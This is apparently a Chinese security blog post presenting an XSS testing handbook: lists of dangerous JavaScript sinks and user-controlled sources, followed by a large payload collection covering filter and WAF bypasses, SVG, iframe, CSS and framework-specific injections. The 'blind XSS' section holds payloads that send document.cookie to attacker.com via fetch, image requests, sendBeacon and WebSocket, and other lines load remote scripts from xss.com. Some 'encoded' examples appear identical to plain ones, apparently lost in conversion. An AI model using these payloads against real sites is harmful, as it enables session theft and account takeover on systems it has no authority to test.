项目组里有个大佬,每次看他挖漏洞就像吃饭喝水一样随意,XSS更是随手就打,羡慕得不行。厚着脸皮去请教,讨来了一份大佬整理的日常积累——JavaScript 中可能存在 XSS 攻击的危险函数列表。如果你的目标站点在 JS 里调用了以下函数,都值得插桩跟进去试一试。
".innerHTML",
".outerHTML",
"document.write",
"document.writeln",
".insertAdjacentHTML",
".onevent", // onclick, onload, onerror等
"eval(",
"Function(",
"setTimeout(",
"setInterval(",
".execScript",
"javascript:",
"vbscript:",
"data:",
".postMessage",
"location.href",
"location.replace",
"location.assign",
"window.open",
".src =",
".href =",
".action =",
".setAttribute('src'",
".setAttribute('href'",
"React.createElement",
"dangerouslySetInnerHTML",
"v-html",
"[innerHTML]",
".html(",
".append(",
".before(",
".after("
同时,别忘了关注这些能够接收用户输入的来源。如果攻击者能控制这些值并最终拼接到上述危险函数里,基本就成功了一半。
"location.search", // URL参数 ?q=test
"location.hash", // URL片段 #section
"location.pathname", // URL路径 /user/123
"document.referrer", // 来源页面
"document.cookie", // Cookie
"window.name", // 窗口名称
"localStorage.getItem",
"sessionStorage.getItem",
"document.forms", // 表单数据
"URLSearchParams", // URL搜索参数
"history.state", // 历史状态
"performance.getEntries", // 性能数据
"navigator.userAgent", // User Agent
"navigator.plugins", // 插件信息
"WebSocket.onmessage", // WebSocket消息
"EventSource.onmessage", // Server-Sent Events
"postMessage事件", // 跨文档消息
"FileReader.result", // 文件读取
"XMLHttpRequest.response",
"fetch().then()"
浏览器辅助调试
打开 F12 控制台,没什么花哨操作,直接上命令探路:
// 测试1:检查全局变量
console.log('正在检查危险函数...');
console.log('window.eval:', typeof window.eval);
console.log('document.write:', typeof document.write);
// 测试2:监控DOM修改
// 在Elements面板右键 -> Break on -> subtree modifications
// 测试3:使用断点调试
// Sources面板 -> 事件监听器断点 -> Script -> Script First Statement
// 测试4:网络请求拦截
// Network面板 -> 右键请求 -> Block request URL
测试手册
一、基础标签Payload
1. Script标签变种
<!-- 大小写混合 -->
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</ScRipT>
<!-- 双写绕过 -->
<scr<script>ipt>alert(1)</script>
<script><script>alert(1)</script>
<!-- 标签内换行 -->
<script
>alert(1)</script
>
<!-- 标签内多个空格 -->
<script >alert(1)</script >
<!-- 自闭合 -->
<script>alert(1)//</script>
<script>alert(1)/*</script>*/
<!-- 编码绕过 -->
<script>alert(1)</script><script>alert(1)</script>
2. 事件处理器Payload
<!-- 通用事件 -->
<img src=x onerror=alert(1)>
<img src=x onerror="alert(1)">
<img src=x onerror='alert(1)'>
<svg onload=alert(1)>
<svg onload=alert(1)/>
<svg onload=alert`1`>
<body onload=alert(1)>
<iframe onload=alert(1)>
<!-- 鼠标事件 -->
<div onmouseover="alert(1)">hover me</div>
<p onclick="alert(1)">click me</p>
<a onmousedown="alert(1)">press me</a>
<!-- 焦点事件 -->
<input autofocus onfocus="alert(1)">
<textarea autofocus onfocus="alert(1)"></textarea>
<!-- 表单事件 -->
<form onsubmit="alert(1)"><input type=submit></form>
<input onchange="alert(1)">
<!-- 触摸事件(移动端) -->
<div ontouchstart="alert(1)">touch me</div>
3. SVG标签Payload
<!-- SVG基础 -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
<svg><script>alert(1)</script></svg>
<svg><script>alert(1)</script>
<svg><script>alert(1)</script></svg>
<!-- SVG动画事件 -->
<svg><animate onbegin="alert(1)" attributeName="x" from="0" to="10"/></svg>
<svg><set attributeName="onload" to="alert(1)"/></svg>
<!-- SVG foreignObject -->
<svg><foreignObject><body onload="alert(1)"></body></foreignObject></svg>
<svg><foreignObject><iframe onload="alert(1)"></iframe></foreignObject></svg>
4. 图片标签Payload
<!-- img标签 -->
<img src=x onerror=alert(1)>
<img src="x" onerror="alert(1)">
<img src='x' onerror='alert(1)'>
<!-- 大小写混合 -->
<iMg sRc=x oNeRrOr=alert(1)>
<!-- 无引号 -->
<img src=x onerror=alert`1`>
<img src=x onerror=alert(1)//>
<!-- 自闭合 -->
<img src=x onerror=alert(1)/>
<!-- 使用无效base64 -->
<img src="data:image/png;base64,iVBOR" onerror="alert(1)">
<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==" onerror="alert(1)">
<!-- 长属性绕过 -->
<img src="x" o
nerror="alert(1)">
<!-- 换行绕过 -->
<img src="x"
onerror="alert(1)">
5. Iframe标签Payload
<iframe src="javascript:alert(1)">
<iframe src="javascript:alert(document.domain)">
<iframe src="data:text/html,<script>alert(1)</script>">
<iframe src="vbscript:msgbox('XSS')">
<iframe onload="alert(1)"></iframe>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<!-- 编码 -->
<iframe src="javasc ript:alert(1)">
<iframe src="javascript:alert(1)">
6. 链接标签Payload
<!-- a标签 -->
<a href="javascript:alert(1)">click</a>
<a href="javascript:alert(document.domain)">click</a>
<a href="JAVASCRIPT:alert(1)">click</a>
<!-- 编码 -->
<a href="javascript:alert(1)">click</a>
<a href="javasc ript:alert(1)">click</a>
<!-- 空格绕过 -->
<a href="javascript :alert(1)">click</a>
<a href="java script:alert(1)">click</a>
<!-- 换行绕过 -->
<a href="javascript:
alert(1)">click</a>
<!-- 其他协议 -->
<a href="data:text/html,<script>alert(1)</script>">click</a>
<a href="vbscript:msgbox('XSS')">click</a>
二、特殊上下文Payload
1. 属性上下文
<!-- 双引号 -->
" onmouseover="alert(1)
" onclick="alert(1)
" onfocus="alert(1)
" onblur="alert(1)
" onerror="alert(1)
" onload="alert(1)
<!-- 单引号 -->
' onmouseover='alert(1)
' onclick='alert(1)
' onfocus='alert(1)
<!-- 无引号 -->
onmouseover=alert(1)
onclick=alert(1)
onfocus=alert(1)
<!-- 闭合标签 -->
"><script>alert(1)</script>
"></iframe><script>alert(1)</script>
'><script>alert(1)</script>
<!-- 样式属性 -->
" style="animation: x" onanimationstart="alert(1)"
' style='animation: x' onanimationstart='alert(1)'
style=animation-name:x onanimationstart=alert(1)
<!-- 访问键 -->
accesskey="x" onclick="alert(1)"
2. JavaScript上下文
<script>
var input = '"; alert(1); //';
var input2 = "'; alert(1); //";
var input3 = `; alert(1); //`;
</script>
<!-- 闭合script -->
</script><script>alert(1)</script>
<!-- 换行 -->
</script>
<script>
alert(1)
</script>
3. URL/协议上下文
<!-- javascript协议 -->
javascript:alert(1)
javascript:alert(document.domain)
javascript:alert(window.location)
<!-- data协议 -->
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
<!-- vbscript (IE) -->
vbscript:msgbox("XSS")
vbscript:alert("XSS")
<!-- 混合协议 -->
jAvaScRipt:alert(1)
java
script:alert(1)
java script:alert(1)
三、绕过技术Payload
1. WAF/过滤器绕过
<!-- 大小写绕过 -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x Onerror=alert(1)>
<!-- 无空格绕过 -->
<img/src=x/onerror=alert(1)>
<script/src=//xss.com/xss.js>
<!-- Tab/换行绕过 -->
<img src=x onerror=alert(1)>
<img
src=x
onerror=alert(1)>
<!-- 多重编码 -->
%253Cscript%253Ealert(1)%253C/script%253E
<script>alert(1)</script><!-- 注释绕过 -->
<img src=x <!-- --> onerror=alert(1)>
<scr<!-- -->ipt>alert(1)</scr<!-- -->ipt>
<!-- 空字节绕过 -->
<script>alert%00(1)</script>
<img src=x%00 onerror=alert(1)>
<!-- 回车绕过 -->
<iframe src="java
script:alert(1)"></iframe>
<!-- 十六进制编码 -->
<iframe src="javascript:alert(1)"></iframe>
2. 特殊字符绕过
<!-- 使用String.fromCharCode -->
<svg onload=alert(String.fromCharCode(88,83,83))>
<svg onload=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
<!-- Unicode编码 -->
<img src=x onerror=alert('\u0058\u0053\u0053')>
<iframe src="javascript:alert('\u0058\u0053\u0053')"></iframe>
<!-- Base64编码 -->
<svg onload=eval(atob('YWxlcnQoMSk='))>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<!-- Hex编码 -->
<iframe src="javascript:alert(0x58)"></iframe>
3. 现代浏览器绕过
<!-- 使用模板字符串 -->
<svg onload=alert`1`>
<img src=x onerror=alert`${document.domain}`>
<!-- 使用反引号 -->
<svg onload=`alert(1)`>
<img src=x onerror=`alert(1)`>
<!-- 使用Function -->
<svg onload=Function`alert\`1\````>
<svg onload=new Function`alert\`1\````>
<!-- 使用location.name -->
<iframe name="<script>alert(1)</script>"></iframe>
<!-- 使用document.domain -->
<svg onload=alert(document.domain)>
四、HTML5新标签Payload
1. 视频/音频标签
<!-- video标签 -->
<video src=x onerror=alert(1)>
<video><source onerror=alert(1)></video>
<video poster=javascript:alert(1)//></video>
<!-- audio标签 -->
<audio src=x onerror=alert(1)>
<audio controls onplay=alert(1)></audio>
<!-- track标签 -->
<video><track default onload=alert(1)></video>
2. 表单相关标签
<!-- input标签 -->
<input autofocus onfocus=alert(1)>
<input onmouseover="alert(1)">
<input type=image src=x onerror=alert(1)>
<input type=image src=1 onload=alert(1)>
<!-- button标签 -->
<button formaction=javascript:alert(1)>click</button>
<button onfocus=alert(1) autofocus>click</button>
<!-- details标签 -->
<details ontoggle=alert(1) open>
<details open onfocus=alert(1)>
<!-- dialog标签 -->
<dialog open onclose=alert(1)></dialog>
3. 其他HTML5标签
<!-- picture标签 -->
<picture><img src=x onerror=alert(1)></picture>
<!-- template标签 -->
<template onload=alert(1)></template>
<!-- math标签 -->
<math><mi onmouseover='alert(1)'>x</mi></math>
<!-- embed标签 -->
<embed src=javascript:alert(1)>
<embed src=//xss.com/xss.swf>
<!-- object标签 -->
<object data=javascript:alert(1)>
<object data="data:text/html,<script>alert(1)</script>">
<!-- applet标签 (已废弃但可能有效) -->
<applet code="Malicious.class"></applet>
五、CSS相关Payload
1. 样式属性XSS
<!-- CSS表达式 (IE) -->
<div style="width: expression(alert(1))"></div>
<span style="color: expression(alert(1))">test</span>
<!-- CSS动画事件 -->
<div style="animation: x" onanimationstart="alert(1)"></div>
<!-- CSS import -->
<style>@import "javascript:alert(1)";</style>
<link rel="stylesheet" href="javascript:alert(1)">
<!-- CSS url() -->
<div style="background:url(javascript:alert(1))"></div>
<div style="list-style:url(javascript:alert(1))"></div>
<!-- CSS char-set -->
<style>@charset "x";@import "javascript:alert(1)";</style>
2. 样式标签Payload
<!-- style标签 -->
<style onload=alert(1)></style>
<style>@import "http://xss.com/xss.css";</style>
<!-- 在style中执行script -->
<style>p{background-image:url('javascript:alert(1)')}</style>
<!-- 使用CSS计算属性 -->
<div style="--x:expression(alert(1))"></div>
六、高级Payload
1. 盲打Payload(用于盲注XSS)
<!-- 基础盲打 -->
<script>fetch('https://attacker.com/log?cookie='+document.cookie)</script>
<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>
<!-- 更隐蔽的盲打 -->
<script>
navigator.sendBeacon('https://attacker.com/collect', document.cookie);
</script>
<!-- 使用WebSocket -->
<script>
var ws = new WebSocket('wss://attacker.com/ws');
ws.onopen = function() {
ws.send(document.cookie);
};
</script>
<!-- 使用postMessage -->
<script>
window.parent.postMessage(document.cookie, '*');
</script>
2. 持久化Payload
<!-- 存储到localStorage -->
<script>
localStorage.setItem('xss', '<script>alert(1)</script>');
</script>
<!-- 存储到sessionStorage -->
<script>
sessionStorage.setItem('payload', '"><img src=x onerror=alert(1)>');
</script>
<!-- 修改document.domain -->
<script>
document.domain = 'javascript:alert(1)';
</script>
3. 组合Payload
<!-- 多层嵌套 -->
<svg><script>alert(1)</script></svg>
<math><mi><script>alert(1)</script></mi></math>
<!-- 混合事件 -->
<img src=x onerror=alert(1) onload=alert(2)>
<iframe src=javascript:alert(1) onload=alert(2)></iframe>
<!-- 使用多个属性 -->
<input autofocus onfocus=alert(1) onblur=alert(2)>
七、框架特定Payload
1. AngularJS Payload
<!-- AngularJS 1.x -->
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{a='constructor';b='alert(1)';[][a][a](b)()}}
<!-- ng-click -->
<div ng-click="constructor.constructor('alert(1)')()">click</div>
2. Vue.js Payload
<!-- v-html指令 -->
<div v-html="'<img src=x onerror=alert(1)>'"></div>
<!-- {{ }} 插值 -->
{{_c.constructor('alert(1)')()}}
3. React Payload
<!-- dangerouslySetInnerHTML -->
<div dangerouslySetInnerHTML={{__html: '<img src=x onerror=alert(1)>'}}></div>
<!-- 在JSX中 -->
{<img src=x onerror={alert(1)} />}
八、特殊场景Payload
1. 文件上传XSS
<!-- 上传SVG文件 -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
<!-- 上传HTML文件 -->
<script>alert(1)</script>
<!-- 上传PDF with XSS -->
%PDF-1.4
%<script>alert(1)</script>
2. PDF/Office文档XSS
<!-- PDF中的JavaScript -->
/JavaScript (app.alert(1);)
<!-- Excel公式 -->
=HYPERLINK("javascript:alert(1)","Click")
3. 邮件客户端XSS
<!-- 在邮件中 -->
<img src="http://attacker.com/track.gif" width="0" height="0">
<iframe src="javascript:alert(1)" width="0" height="0"></iframe>
九、Payload生成工具
1. 使用JavaScript生成
function 生成Payload(类型) {
const payloads = {
basic: ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>'],
encoded: ['%3Cscript%3Ealert(1)%3C/script%3E', '<script>alert(1)</script>'],
svg: ['<svg onload=alert(1)>', '<svg><script>alert(1)</script></svg>'],
iframe: ['<iframe src=javascript:alert(1)>', '<iframe srcdoc="<script>alert(1)</script>"></iframe>']
};
return payloads[类型] || payloads.basic;
}
2. 编码转换
function 编码Payload(payload) {
return {
url编码: encodeURIComponent(payload),
html实体: payload.replace(/[&<>"']/g, m => `${m.charCodeAt(0)};`),
unicode: payload.split('').map(c => `\\u${c.charCodeAt(0).toString(16).padStart(4, '0')}`).join(''),
base64: btoa(payload)
};
}
十、测试用例集合
<!-- 完整测试套件 -->
<!DOCTYPE html>
<html>
<body>
<!-- 1. Script测试 -->
<script>alert('SCRIPT-1')</script>
<ScRiPt>alert('SCRIPT-2')</ScRiPt>
<!-- 2. 图片测试 -->
<img src=x onerror="alert('IMG-1')">
<IMG SRC=x ONERROR="alert('IMG-2')">
<!-- 3. SVG测试 -->
<svg onload="alert('SVG-1')">
<svg><script>alert('SVG-2')</script>
<!-- 4. Iframe测试 -->
<iframe src="javascript:alert('IFRAME-1')">
<iframe srcdoc="<script>alert('IFRAME-2')</script>">
<!-- 5. 链接测试 -->
<a href="javascript:alert('A-1')">click</a>
<a href="javasc ript:alert('A-2')">click</a>
<!-- 6. 表单测试 -->
<input autofocus onfocus="alert('INPUT-1')">
<button onmouseover="alert('BUTTON-1')">hover</button>
<!-- 7. 事件测试 -->
<div onclick="alert('DIV-1')">click me</div>
<body onload="alert('BODY-1')">
<!-- 8. CSS测试 -->
<div style="animation:x" onanimationstart="alert('CSS-1')"></div>
</body>
</html>
在实践中,我们不仅要熟悉这些 Payload,更要深入理解 JavaScript 的执行机制和 DOM 操作原理。当遇到 JavaScript 中的 eval、innerHTML 等敏感调用时,结合上下文构造闭合,往往能事半功倍。如果想持续沉淀这方面的技巧,云栈社区也有不少老哥在分享实战案例,常看常新。